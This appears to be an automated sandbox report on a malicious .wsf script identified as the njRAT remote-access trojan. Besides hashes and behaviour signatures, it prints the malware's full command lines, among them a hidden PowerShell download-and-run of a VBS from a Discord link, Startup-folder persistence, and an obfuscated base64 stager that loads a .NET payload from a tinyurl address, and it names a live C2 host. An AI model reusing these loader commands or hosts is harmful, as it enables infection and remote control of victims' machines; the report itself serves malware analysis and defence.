Analysis

  • max time kernel
    142s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/10/2022, 22:00

General

  • Target

    c5d249498462540b2e9d9280343f3292.wsf

  • Size

    53KB

  • MD5

    c5d249498462540b2e9d9280343f3292

  • SHA1

    32bf4154e274eb9e09169cd52093713816d02481

  • SHA256

    31482a83f3cbb75af81d1fb11e190343dc635d69e767da83d0bb55eabe0244f0

  • SHA512

    f57fe84b2dd03455b26ea8e76516721770e9b571480365a99a19701d9137737230c144ee15ebce460d8f37a32afa2a00e88ef56ea90b9e1909869089fcaa1d98

  • SSDEEP

    192:L48w8Nlb0bqGW6CCCuqpSB48w8Nlb0bqGW6CCCuqpd48w8Nlb0bqGW6CCCuqpJ:dwSb0cJqXwSb0cJzwSb0cJR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://tinyurl.com/2erph6cs

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

wins0310ok.duckdns.org:8000

Mutex

2a624df8c6c4469

Attributes
  • reg_key

    2a624df8c6c4469

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c5d249498462540b2e9d9280343f3292.wsf"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1026576632913342517/1027643430551158908/8.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ییခا.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ییခا.wsf');Start-Sleep 1;rm *.pif,*.uue
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
        3⤵
          PID:1964
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4564
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\nLeNPdi.vbs"
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwCsAK8A+gDwAOQAugDXAOQAJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMAAwADAAOAB0AGMAbwAzADAALwA2ADEANgAzADIANAAxADAAOQA5ADEANAA2ADcANQA2ADIAMAAxAC8AMgAzADQANgA2ADAAMQA5ADQAOAA3ADYANQA3AD⌚⌚⌚ANgAyADAAMQAvAHMAdABuAG⌚⌚⌚AbQBoAGMAYQB0AHQAYQAvAG0AbwBjAC4AcABwAGEAZAByAG8AYwBzAGkAZAAuAG4AZABjAC8ALwA6AHMAcAB0AHQAaAAnACAALAAgACQA⌚⌚⌚gBvAGQAYQBDAG8AcAB5ACAALAAgACcAzAbMBgEQJwYnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('¬¯úðäº×ä', 'C:\Windows\Temp\nLeNPdi.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4444
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Windows\Temp\nLeNPdi.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco30/6163241099146756201/2346601948765756201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'ییခا' ))"
            4⤵
            • Blocklisted process makes network request
            • Drops startup file
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2468
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3716

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            f41839a3fe2888c8b3050197bc9a0a05

            SHA1

            0798941aaf7a53a11ea9ed589752890aee069729

            SHA256

            224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

            SHA512

            2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            50a8221b93fbd2628ac460dd408a9fc1

            SHA1

            7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

            SHA256

            46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

            SHA512

            27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            d65d5729810e777c618132ea705c1f14

            SHA1

            c0df1e6c8a70b39b8db337f84e7e9398bc9f6a9e

            SHA256

            51262a3776b88451b2843a41f185425c1626b1f749f8c10cc8ef243985bef27e

            SHA512

            8cab4719c12091d99f72c4307619fb7ab31854e81cc3c23304bf650698cb2d0cd00ca03f1e1b2065606dc4f5e28ad272bbc2acdc3383a6eba39d75777e9059f7

          • C:\Windows\Temp\nLeNPdi.vbs

            Filesize

            217KB

            MD5

            51f4179655580184434c7a30d3cb842f

            SHA1

            cc0d4c9fae0e3ef4e951dd43db00e3cfb3403b60

            SHA256

            233f64beec6c3cb039a1d0f2298bd169643db6a59bbf9abc9d05b26a3b985290

            SHA512

            5e3cd952d81be643840bcaa42c1a86af4ad9dc74706a6fb154b14d4bf8bc790277f1c5107c3e6ca9f385890152b2a79cd331eb62a43f6ce801e2d14bfbd8e764

          • memory/2468-141-0x00007FF883C40000-0x00007FF884701000-memory.dmp

            Filesize

            10.8MB

          • memory/2468-144-0x00007FF883C40000-0x00007FF884701000-memory.dmp

            Filesize

            10.8MB

          • memory/3716-142-0x0000000000400000-0x000000000040C000-memory.dmp

            Filesize

            48KB

          • memory/3716-149-0x00000000054B0000-0x000000000554C000-memory.dmp

            Filesize

            624KB

          • memory/3716-154-0x00000000058C0000-0x0000000005926000-memory.dmp

            Filesize

            408KB

          • memory/3716-153-0x0000000005690000-0x000000000569A000-memory.dmp

            Filesize

            40KB

          • memory/3716-152-0x0000000005730000-0x00000000057C2000-memory.dmp

            Filesize

            584KB

          • memory/3716-151-0x0000000005B30000-0x00000000060D4000-memory.dmp

            Filesize

            5.6MB

          • memory/4356-133-0x00000191410F0000-0x0000019141112000-memory.dmp

            Filesize

            136KB

          • memory/4356-150-0x00007FF883C40000-0x00007FF884701000-memory.dmp

            Filesize

            10.8MB

          • memory/4356-134-0x00007FF883C40000-0x00007FF884701000-memory.dmp

            Filesize

            10.8MB

          • memory/4444-147-0x00007FF883C40000-0x00007FF884701000-memory.dmp

            Filesize

            10.8MB

          • memory/4444-140-0x00007FF883C40000-0x00007FF884701000-memory.dmp

            Filesize

            10.8MB